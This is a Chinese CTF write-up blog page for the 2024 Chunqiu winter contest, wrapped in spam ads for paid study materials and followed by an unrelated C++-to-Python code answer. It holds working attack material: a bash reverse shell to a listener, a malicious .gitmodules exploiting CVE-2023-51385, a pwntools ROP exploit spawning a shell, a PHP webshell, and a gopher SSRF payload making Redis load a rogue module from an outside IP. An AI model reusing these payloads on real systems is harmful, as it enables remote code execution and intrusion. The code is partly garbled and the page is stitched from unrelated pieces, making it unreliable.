2024年春秋杯冬季赛-部分赛题Wp_勒索流量ichunqiu,2024网络安全大厂面试集合

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

# print("size det(L) - size e^(m*n) = ", floor(diff))

if strict:

return -1, -1

else:

print(“det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)”)

# display the lattice basis

if debug:

matrix_overview(BB, modulus ^ mm)

# LLL

if debug:

print(“optimizing basis of the lattice via LLL, this can take a long time”)

BB = BB.LLL()

if debug:

print(“LLL is done!”)

# transform vector i & j -> polynomials 1 & 2

if debug:

print(“looking for independent vectors in the lattice”)

found_polynomials = False

for pol1_idx in range(nn - 1):

for pol2_idx in range(pol1_idx + 1, nn):

# for i and j, create the two polynomials

PR.<w,z> = PolynomialRing(ZZ)

pol1 = pol2 = 0

for jj in range(nn):

pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)

pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)

# resultant

PR. = PolynomialRing(ZZ)

rr = pol1.resultant(pol2)

# are these good polynomials?

if rr.is_zero() or rr.monomials() == [1]:

continue

else:

# print(“found them, using vectors”, pol1_idx, “and”, pol2_idx)

found_polynomials = True

break

if found_polynomials:

break

if not found_polynomials:

# print(“no independant vectors could be found. This should very rarely happen…”)

return 0, 0

rr = rr(q, q)

# solutions

soly = rr.roots()

if len(soly) == 0:

# print(“Your prediction (delta) is too small”)

return 0, 0

soly = soly[0][0]

ss = pol1(q, soly)

solx = ss.roots()[0][0]

#

return solx, soly

delta = .271  # this means that d < N^delta

m = 8  # size of the lattice (bigger the better/slower)

t = int((1 - 2 * delta) * m)  # optimization from Herrmann and May

X = 2 * floor(N ^ delta)  # this _might_ be too much

Y = floor(N ^ (1 / 2))  # correct if p, q are ~ same size

P.<x,y> = PolynomialRing(ZZ)

A = int((N + 1) / 2)

pol = 1 + x * (A + y)

solx, soly = boneh_durfee(pol, e, m, t, X, Y)

d = int(pol(solx, soly) / e)

print(d)

m = power_mod(c, d, N)

可以求出

a=24601959430759983424400804734518943158892550216065342062971649989571838687333

用已有的·数据进行k相关攻击.

from Crypto.Util.number import *

a=24601959430759983424400804734518943158892550216065342062971649989571838687333

b=17474742587088593627

p= 161310487790785086482919800040790794252181955976860261806376528825054571226885460699399582301663712128659872558133023114896223014064381772944582265101778076462675402208451386747128794418362648706087358197370036248544508513485401475977401111270352593919906650855268709958151310928767086591887892397722958234379

q= 1115861146902610160756777713087325311747309309771

g= 61073566757714587321114447684333928353300944355112378054603585955730395524359123615359185275743626350773632555967063692889668342544616165017003197599818881844811647270423070958521148291118914198811187731689123176313367399492561288350530256722898205674043032421874788802819858438796795768177550638273020791962

y= 23678147495254433946472657196764372220306841739888385605070426528738230369489739339976134564575544246606937803367113623097260181789372915552172469427842482448570540429192377881186772226796452797182435452490307834205012154495575570994963829345053331967442452842152258650027916313982835119514473311305158299360

(h1, r1, s1) = 535874494834828755542711401117152397489711233142, 117859946800380767356190121030392492081340616512, 26966646740134065096660259687229179143947213779

(h2, r2, s2) = 236574518096866758760287021848258048065293279716, 863199000523521111517835459866422731857447792677, 517924607931342012033031470185302567344725962419

k = (h1*r2 - h2*r1 + b*s2*r1) * inverse(s1*r2 - a*s2*r1, q) % q

x = (k*s1 - h1) * inverse(r1, q) %q

print(long_to_bytes(x))

得到最终flag

flag值:flag{l1near_k1s_unsafe}
题目序号 MISC(modules)
操作内容:

根据题目提示,在GitHub找到这个仓库,由于靶机不能访问GitHub故fork到gitlab

在库中新增exp.sh文件

bash -i>& /dev/tcp/IP``地址/端口号0>&1

反弹shell

用服务器监听

修改库中的.gitmodules文件

[submodule “cve”]

path = cve

url = ssh://bash exp.shfoo.ichunqiu.com/bar

最后到靶机输入仓库地址

u test / CVE-2023-51385_test · GitLab

git clone https://gitlab.com/testu2584/CVE-2023-51385_test.git --recurse-submodules

即可

flag值:flag{ec993bca-5790-4b17-9830-785079885277}
题目序号 MISC(谁偷吃了我的外卖)
操作内容:

使用foremost将图片小凯.jpg中的压缩包提取出来

通过查看压缩包大致猜测为将文件名全部提取出来,根据文件的序号进行排序,再将下划线后面的密文进行拼接得到最终密文

import zipfile

import re

import os

def get_filenames_from_zip(zip_path, output_file):

with zipfile.ZipFile(zip_path, ‘r’) as zf:

filenames = “\n”.join([name.encode(‘cp437’).decode(‘gbk’) for name in zf.namelist()])

with open(output_file, ‘w’, encoding=‘utf-8’) as f:

f.write(filenames)

zip_path = r"C:\Users\32541\Desktop\外卖箱.zip"

output_file = ‘filenames.txt’

get_filenames_from_zip(zip_path, output_file)

with open(‘filenames.txt’, ‘r’, encoding=‘utf-8’) as f:

lines = f.readlines()

user_lines = [line for line in lines if line.startswith(‘外卖箱/用户’)]

sorted_user_lines = sorted(user_lines, key=lambda x: int(x.split(‘用户’)[1].split(‘_’)[0]))

with open(‘sorted_filenames.txt’, ‘w’, encoding=‘utf-8’) as f:

for line in sorted_user_lines:

f.write(line)

with open(‘sorted_filenames.txt’, ‘r’, encoding=‘utf-8’) as file:

lines = file.readlines()

result = ‘’

for line in lines:

match = re.search(r’_(.*?)的’, line)

if match:

result += match.group(1)

with open(‘result.txt’, ‘w’) as file:

file.write(result)

最后通过提示

将-替换成/后base64解码得到文件后保存(工具:https://the-x.cn/encodings/Base64.aspx)

将保存后的文件继续foremost解密得到新的压缩包

打开压缩包发现报错通过压缩包工具修复

文件内容:

最后通过这个装有钥匙.png的文件作为明文文件对之前的外卖箱.zip进行明文解密

最终得到解密后的zip文件

打开进入flag文件夹

查看小凯的奋斗故事.md

得到第一段flag:flag{W1sh_y0u_AaaAaaaa

查看txt.galf

倒叙得到第二段flag:aaaaaaa_w0nderfu1_CTF_journe9}

最后得到falg:

flag值:flag{W1sh_y0u_AaaAaaaaaaaaaaa_w0nderfu1_CTF_journe9}
题目序号MISC(明文混淆)
操作内容:

根据题目描述可以大致猜想到压缩包为明文攻击,shell文件进行了代码混淆说明只有从license.txt文件下手,找到电脑中其他的license.txt发现大多数文件内容都是大同小异,使用bkcrack直接开始明文攻击。

7163444a 203b76b0 17de1387

得到了三个密钥,将文件提取出来

使用这个网址做解混淆的第一步UnPHP - The Online PHP Decoder

将这一段复制到shell2.php里面,将eval换成echo

得到如下代码:

?><?php

eval(gzinflate(base64_decode(‘U0gtS8zRcFCJD/APDolWT8tJTK8uNswt8DGOrzIsiHfIS4kvNzYzzUj1yVFUVKxVj9W0trcDAA==’)));

?> eval(@$_POST[‘flag{s1mpL3_z1p_@nd_w365heLl!!!}’]);?>

flag值:flag{s1mpL3_z1p_@nd_w365heLl!!!}
题目序号 PWN(nmanager)
操作内容:

下载附件进行分析

得知64位文件,开启了Canary保护和NX保护,放64位IDA进行反编译

编写出Exp:

from ctypes import *

from pwn import *

import time

io = remote(‘ip’ ,端口)

dl = CDLL(‘./libc.so.6’)

dl.srand(int(time.time()))

c = list(‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’)

c = c[dl.rand() % 62]

io.sendline(str©)

io.recvuntil(‘modify’)

io.sendline(str(-1))

io.recvuntil('gender: ')

io.send(‘A’*8)

io.recvuntil('age: ')

io.sendline(p64(0x4142))

io.recvuntil('name: ')

io.send(‘B’)

io.recvuntil(‘A’*0x8)

libc_base = u64(io.recv(6)+b2*‘\x00’) - 528426

libc = ELF(‘libc.so.6’)

io.recvuntil(‘)’)

io.sendline(‘n’)

pop_rdi=rdi =libc_base+0x2a3e5

ret=pop_rdi+1

system=libc_base+libc.sym[‘system’]

bin_sh=libc_base+next(libc.search(b’/bin/sh’))

pay=p64(pop_rdi)+p64(bin_sh)+p64(system)

io.recvuntil(‘modify’)

io.sendline(str(-1))

io.recvuntil('gender: ')

io.send(‘C’*‘10’)

io.recvuntil('age: ')

io.sendline(p64(ret))

io.recvuntil('name: ')

io.send(b’A’*7+p64(retu)*3+pay)

io.interactive()

得flag

flag值:flag{46d45ed7-f76b-4d3b-9095-360c434844cb}
题目序号 RE(UPX2023)
操作内容:

key = [111, 24, 236, 196, 58, 186, 93, 97, 61, 51, 169, 170, 2, 17, 113, 139, 162, 38, 14, 77, 131, 66, 112, 202, 80, 113, 231, 107, 15, 50, 159, 128, 155, 183, 227, 184, 224, 28, 16, 180, 42,57]

flag = [ 0x09, 0x63, 0xD9, 0xF6, 0x58, 0xDD, 0x3F, 0x4C, 0x0F, 0x0B, 0x98, 0xC6, 0x65, 0x21, 0x41, 0xED, 0xC4, 0x0B, 0x3A, 0x7B, 0xE5, 0x75, 0x5D, 0xA9, 0x31, 0x41, 0xD7, 0x52, 0x6C, 0x0A, 0xFA, 0xFD, 0xFA, 0x84, 0xDB, 0x89, 0xCD, 0x7E, 0x27, 0x85, 0x13,8 ]

string1 = ‘QAZWSXEDCRFVTGBYHNUJMIKOLP0987654321{}-!@#’

string2 = ‘QV4TAG3BZY2HWN1USJ{MXI}KEO-LDP!0C9@8R7#6F5’

sx = ‘’

for i in range(len(flag)):

sx += chr(flag[i]^(key[i]))

for i in string2:

print(sx[string1.index(i)],end=‘’)

flag值:flag{0305f8f2-14b6-fg7b-bc7a-010299c881e1}
题目序号WEB(ezezez_php)
操作内容:

通过审题可知是一题pop链,链子如下:

Ha->__destruct()->Rd->__call()->Er->__set($name, v a l u e ) − > g e t ( value)->get( value)>get(url)

Exp:

<?php highlight\_file(\_\_FILE\_\_); include "function.php"; class Rd {     public $ending;     public $cl;     public $poc;     public function \_\_destruct()     {         echo "All matters have concluded"."";     }     public function \_\_call($name, $arg)     {         foreach ($arg as $key => $value) {             if ($arg[0]['POC'] == "0.o") {                 $this->cl->var1 = "get";             }         }     } } class Poc {     public $payload;     public $fun;     public function \_\_set($name, $value)     {         $this->payload = $name;         $this->fun = $value;     }     function getflag($paylaod)     {         echo "Have you genuinely accomplished what you set out to do?"."";         file\_get\_contents($paylaod);     } } class Er {     public $symbol;     public $Flag;     public function \_\_construct()     {         $this->symbol = True;     }     public function \_\_set($name, $value)     {           if (preg\_match('/^(file|http|https|gopher|dict)?:\/\/.\*(\/)?.\*$/',base64\_decode($this->Flag))){               $value($this->Flag);         }     else {     echo "NoNoNo,please you can look hint.php"."";     }     } } class Ha {     public $start;     public $start1;     public $start2;     public function \_\_construct()     {         echo $this->start1 . "\_\_construct" . "";     }     public function \_\_destruct()     {         if ($this->start2 === "o.0") {             $this->start1->Love($this->start);             echo "You are Good!"."";         }     } } function get($url) {     $url=base64\_decode($url);     var\_dump($url);     $ch = curl\_init();     curl\_setopt($ch, CURLOPT\_URL, $url);     curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, 1);     curl\_setopt($ch, CURLOPT\_HEADER, 0);     $output = curl\_exec($ch);     $result\_info = curl\_getinfo($ch);     var\_dump($result\_info);     curl\_close($ch);     var\_dump($output); } $a=new Ha(); $a->start=array('POC' => '0.o'); $a->start2="o.0"; $a->start1=new Rd(); $a->start1->cl=new Er(); $a->start1->cl->Flag=base64\_encode('gopher://127.0.0.1:6379/\_%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A116.62.194.130%0D%0A%244%0D%0A6666%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%243%0D%0Aenv%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A'); echo serialize($a); ?>

然后发现get函数里的东西好像见过,然后找到了原题:网鼎杯 2020 玄武杯 SSRFMe

需要下载两个工具:

redis-rogue-server-master  和  redis-ssrf-master

然后吧redis-rogue-server-master的exp.so放入redis-ssrf-master里然后放入公网服务器里

然后修改ssrf-redis.py文件,将lhost修改为公网服务器的ip地址又因为没有密码,所以其他的不动

让后写一个sh类型的文件写入一下内容,因为rogue-server.py连接一次成功后就会终端,但是exp.so不一定传输完,所以会造成失败,所以写一个死循环用于持续调用文件(注意这里一定使用python2执行文件,否则会造成报错)

然后执行ssrf-redis.py生成payload

将payload进行base64编码后给exp的Flag

执行exp获得最终payload

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-gTdzpayN-1713292065095)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 8
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
帮我把下面一段C++代码改写成python代码:#include "Trade.h" #include "WPrice.h" #include <algorithm> double normalCDF(double x) // Phi(-∞, x) aka N(x) { return std::erfc(-x / std::sqrt(2)) / 2; //erfc()是互补误差函数,该返回值表示标准正态分布下var小于x的概率,即N(x) } CTrade::CTrade(double tick) : wp_bid(0.01), wp_ask(0.01), m_tick(tick), m_TimeRound(50) { newday(NULL); } CTrade::~CTrade() { } void CTrade::OnBook(const BTRec& btRec) { wp.setGamma(0.1); wp_bid = wp.getWP(&btRec.Bids); wp_ask = wp.getWP(&btRec.Asks); if (wp_mid > 0){ //wp_mid初始化为-1,仅遇到第一条BTRec记录时条件为false double wp_now = (wp_bid + wp_ask) / 2; //updated wp_mid int volume = btRec.volume; //volume between two orderbook records double ratio = normalCDF((wp_now - wp_mid) / (2 * m_tick)); //m_tick = tick = 0.2 double buyvolume = ratio*volume, sellvolume = (1 - ratio)*volume; m_TimeRound.update(buyvolume, sellvolume, btRec.rec_time.timestamp); //volume moving average if (mv_volume < 0) { mv_volume = volume; mv_buyvolume = buyvolume; } else{ mv_volume += 0.002*(volume - mv_volume); mv_buyvolume += 0.002*(buyvolume - mv_buyvolume); } // round trip volatility if (time_ini < 0 || btRec.rec_time.timestamp - time_ini >= time_scale){ if (time_ini>0){ double dp = wp_now - wp_ini; volatility += 0.05*(dp*dp - volatility); } time_scale = m_TimeRound.getTime() * 1000; //in milliseconds time_ini = btRec.rec_time.timestamp; wp_ini = wp_now; } } wp_mid = (wp_bid + wp_ask) / 2; } void CTrade::newday(const char* p) { wp_mid = -1; m_TimeRound.newday(p); volatility = 16 * m_tick*m_tick; time_slapse = -1, time_scale = -1, wp_ini = -1, time_ini = -1; mv_buyvolume = mv_volume = -1; }
05-15
```python import math class CTrade: def __init__(self, tick): self.wp_bid = 0.01 self.wp_ask = 0.01 self.m_tick = tick self.m_TimeRound = TimeRound() self.newday(None) def OnBook(self, btRec): self.wp.setGamma(0.1) self.wp_bid = self.wp.getWP(btRec.Bids) self.wp_ask = self.wp.getWP(btRec.Asks) if self.wp_mid > 0: wp_now = (self.wp_bid + self.wp_ask) / 2 volume = btRec.volume ratio = normalCDF((wp_now - self.wp_mid) / (2 * self.m_tick)) buyvolume = ratio * volume sellvolume = (1 - ratio) * volume self.m_TimeRound.update(buyvolume, sellvolume, btRec.rec_time.timestamp) if self.mv_volume < 0: self.mv_volume = volume self.mv_buyvolume = buyvolume else: self.mv_volume += 0.002 * (volume - self.mv_volume) self.mv_buyvolume += 0.002 * (buyvolume - self.mv_buyvolume) if self.time_ini < 0 or btRec.rec_time.timestamp - self.time_ini >= self.time_scale: if self.time_ini > 0: dp = wp_now - self.wp_ini self.volatility += 0.05 * (dp * dp - self.volatility) self.time_scale = self.m_TimeRound.getTime() * 1000 self.time_ini = btRec.rec_time.timestamp self.wp_ini = wp_now self.wp_mid = (self.wp_bid + self.wp_ask) / 2 def newday(self, p): self.wp_mid = -1 self.m_TimeRound.newday(p) self.volatility = 16 * self.m_tick * self.m_tick self.time_slapse = -1 self.time_scale = -1 self.wp_ini = -1 self.time_ini = -1 self.mv_buyvolume = -1 self.mv_volume = -1 def normalCDF(x): return math.erfc(-x / math.sqrt(2)) / 2 class TimeRound: def __init__(self): self.buy_volume = 0 self.sell_volume = 0 self.time = 0 def update(self, buyvolume, sellvolume, timestamp): if timestamp > self.time: self.buy_volume = 0 self.sell_volume = 0 self.time = timestamp self.buy_volume += buyvolume self.sell_volume += sellvolume def getTime(self): return self.buy_volume + self.sell_volume ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值